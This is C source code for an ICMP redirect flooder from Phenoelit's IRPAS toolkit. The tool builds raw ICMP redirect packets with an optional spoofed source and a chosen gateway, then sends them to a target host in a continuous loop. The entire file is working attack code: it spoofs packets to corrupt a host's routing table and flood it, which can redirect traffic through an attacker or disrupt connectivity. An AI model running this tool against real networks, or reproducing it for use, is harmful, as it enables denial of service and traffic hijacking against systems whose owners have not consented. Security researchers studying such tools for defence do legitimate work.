/* ICMP redirect flooder * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k++ * * $Id: icmp_redflod.c,v 1.3 2002/05/11 14:59:06 fx Exp fx $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" #include "build.h" #include #include /* definitions */ #define IPTTL 0x80 #define DEFAULT_DELAY 100000 #define BANNER "ICMP Redir Flooder $Revision: 1.3 $\n"\ "\t(c) 2k++ FX \n"\ "\tPhenoelit (http://www.phenoelit.de)\n" /* config */ struct { int verbose; char *device; int flood; int spoof_src; int code; struct in_addr dest; struct in_addr src; struct in_addr gw; unsigned int delay; } cfg; /* * globals */ u_char *rawpacket; int icmpsfd; sig_atomic_t stop_flag=0; unsigned long iii=0; /************************************ * prototypes */ void usage(char *n); u_char *construct_icmp_redirect(struct in_addr *dest, struct in_addr *newgw, int *psize); /* PCAP */ void signaler(int sig); /* the main function */ int main(int argc, char **argv) { char option; extern char *optarg; u_char *icp; int icl; memset(&cfg,0,sizeof(cfg)); cfg.delay=DEFAULT_DELAY; cfg.flood=1; cfg.code=0xFF; while ((option=getopt(argc,argv,"vfc:i:S:G:D:w:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'f': cfg.flood=0; break; case 'i': /* local network device */ cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; break; case 'S': /* spoof source */ if (inet_aton(optarg,&(cfg.src))==0) { fprintf(stderr, "source IP address seems to be wrong\n"); return (1); } cfg.spoof_src++; break; case 'G': /* set gw */ if (inet_aton(optarg,&(cfg.gw))==0) { fprintf(stderr, "Gateway IP address seems to be wrong\n"); return (1); } break; case 'D': /* dest address */ if (inet_aton(optarg,&(cfg.dest))==0) { fprintf(stderr, "dest IP address seems to be wrong\n"); return (1); } break; case 'w': cfg.delay=atoi(optarg); break; case 'c': cfg.code=atoi(optarg); break; default: usage(argv[0]); } } if (!cfg.device) usage(argv[0]); /* * TODO: add output on what we are about to do */ srand((unsigned int)time(NULL)); /* set up ICMP sender socket (IP) */ if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1); /* if spoofing is enabled, copy it */ if (!cfg.spoof_src) { memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN); } /* signal handling */ signal(SIGTERM,&signaler); signal(SIGABRT,&signaler); signal(SIGINT,&signaler); /* my shit */ printf(BANNER); printf("\tIRPAS build %s\n",BUILD); printf("Performing flood ...\n"); if (cfg.flood) { while (!stop_flag) { icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl); sendpack_IP4(icmpsfd,icp,icl); free(icp); if (cfg.delay>0) usleep(cfg.delay); } } else { icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl); sendpack_IP4(icmpsfd,icp,icl); free(icp); } /* at the end of the day, close our socket */ close(icmpsfd); printf("Send %lu packets\n",iii); return (0); } /********************** FUNCTIONS **********************/ void signaler(int sig) { stop_flag++; if (cfg.verbose>2) fprintf(stderr,"\nSignal received.\n"); } /* constructs the ICMP redirect * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_icmp_redirect(struct in_addr *dest, struct in_addr *newgw, int *psize) { #define PADDING 0 u_char *tpacket; iphdr_t *iph,*iporig; icmp_redirect_t *icmp; u_int16_t cs; unsigned int randip; *psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t)+PADDING; tpacket=(u_char *)smalloc(*psize +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IPTTL; iph->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0))); iph->protocol=IPPROTO_ICMP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN); /* make up the icmp header */ icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t)); icmp->type=ICMP_REDIRECT; if (cfg.code==0xFF) icmp->code=ICMP_REDIR_HOST; else icmp->code=(unsigned char)cfg.code; memcpy(&(icmp->gateway),&(newgw->s_addr),IP_ADDR_LEN); iporig=(iphdr_t *)(&(icmp->headerdata)); iporig->version=4; iporig->ihl=sizeof(iphdr_t)/4; iporig->tot_len=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0))); iporig->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0))); iporig->protocol=IPPROTO_UDP; memcpy(&(iporig->saddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN); randip=((unsigned int)(4294967294.0*rand()/(RAND_MAX+1.0))); memcpy(&(iporig->daddr.s_addr),&(randip),IP_ADDR_LEN); iii++; /* make up checksum */ cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t)); icmp->checksum=cs; return tpacket; } void usage(char *n) { printf( "%s [-v[v[v]]] [-f] -i \n" "\t[-D \n" "\t[-G ] [-w ]\n" "\t[-S ] [-c ICMP code]\n", n); exit (1); }